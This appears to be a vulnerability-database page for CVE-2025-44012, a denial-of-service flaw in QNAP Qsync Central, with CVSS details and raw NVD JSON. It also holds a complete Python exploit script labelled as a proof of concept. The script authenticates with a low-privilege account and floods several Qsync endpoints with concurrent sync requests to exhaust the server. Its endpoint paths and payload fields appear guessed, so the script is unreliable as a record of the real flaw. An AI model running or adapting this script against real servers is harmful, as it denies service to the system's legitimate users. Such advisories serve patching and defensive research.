Security Vulnerability Report
中文
CVE-2025-44012 CVSS 6.5 MEDIUM

CVE-2025-44012

Published: 2025-10-03 19:15:43
Last Modified: 2025-10-08 19:54:33

Description

An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.2 ( 2025/07/31 ) and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:* - VULNERABLE
QNAP Qsync Central < 5.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-44012 - QNAP Qsync Central Resource Exhaustion PoC # Vulnerability: Allocation of Resources Without Limits or Throttling # Description: Exploits lack of resource throttling in Qsync Central to cause DoS import requests import threading import time from concurrent.futures import ThreadPoolExecutor, as_completed class QsyncResourceExhaustion: """ PoC for CVE-2025-44012 Demonstrates resource exhaustion attack against QNAP Qsync Central """ def __init__(self, target_url, username, password, threads=50): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.threads = threads self.session = requests.Session() self.success_count = 0 self.error_count = 0 self.lock = threading.Lock() def authenticate(self): """Authenticate to Qsync Central with user credentials""" login_url = f"{self.target_url}/cgi-bin/authLogin.cgi" # Qsync Central uses specific authentication mechanism auth_data = { "user": self.username, "pwd": self.password } try: resp = self.session.post(login_url, data=auth_data, timeout=10) if resp.status_code == 200: print(f"[+] Authenticated successfully as {self.username}") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def exhaust_resources(self, thread_id): """ Send repeated resource-consuming requests to exhaust system resources. Targets file sync operations that allocate resources without limits. """ # Target endpoints that trigger resource allocation target_endpoints = [ "/cgi-bin/qsync/qsync.cgi", # Qsync main handler "/cgi-bin/qsync/sync.cgi", # Sync operations "/cgi-bin/qsync/upload.cgi", # File upload handler "/cgi-bin/qsync/share.cgi", # Share operations "/qsync/api/v1/sync", # API sync endpoint "/qsync/api/v1/files", # File operations API "/qsync/api/v1/share", # Share API ] local_success = 0 local_errors = 0 for i in range(100): endpoint = target_endpoints[i % len(target_endpoints)] url = f"{self.target_url}{endpoint}" # Craft payload to trigger resource allocation payload = { "action": "sync", "path": f"/share/ResourceExhaust_{thread_id}_{i}", "recursive": "true", "file_count": 10000, # Request to handle many files } try: resp = self.session.post( url, json=payload, timeout=5, headers={"Content-Type": "application/json"} ) if resp.status_code == 200: local_success += 1 else: local_errors += 1 except requests.exceptions.Timeout: local_errors += 1 except Exception: local_errors += 1 with self.lock: self.success_count += local_success self.error_count += local_errors return thread_id, local_success, local_errors def run_attack(self): """Execute the resource exhaustion attack""" print(f"[*] Target: {self.target_url}") print(f"[*] Threads: {self.threads}") print(f"[*] User: {self.username}") if not self.authenticate(): print("[-] Cannot proceed without valid credentials") return False print(f"[*] Starting resource exhaustion attack...") start_time = time.time() with ThreadPoolExecutor(max_workers=self.threads) as executor: futures = [ executor.submit(self.exhaust_resources, i) for i in range(self.threads) ] for future in as_completed(futures): tid, success, errors = future.result() print(f" Thread {tid}: {success} success, {errors} errors") elapsed = time.time() - start_time print(f"\n[*] Attack completed in {elapsed:.2f} seconds") print(f"[*] Total successful requests: {self.success_count}") print(f"[*] Total errors (potential service degradation): {self.error_count}") print(f"[*] If error count is high, service may be experiencing DoS") return True if __name__ == "__main__": # Configuration TARGET = "https://target-qsync-server:8080" USERNAME = "testuser" # Valid Qsync user account (low privilege) PASSWORD = "password123" # User's password THREADS = 50 # Number of concurrent threads print("=" * 60) print("CVE-2025-44012 - QNAP Qsync Central DoS PoC") print("Allocation of Resources Without Limits or Throttling") print("=" * 60) exploit = QsyncResourceExhaustion(TARGET, USERNAME, PASSWORD, THREADS) exploit.run_attack()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-44012", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:42.973", "lastModified": "2025-10-08T19:54:32.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.2 ( 2025/07/31 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0.0", "versionEndExcluding": "5.0.0.2", "matchCriteriaId": "8F6CF68C-7492-426E-A30A-5E0CBF284FAE"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-35", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}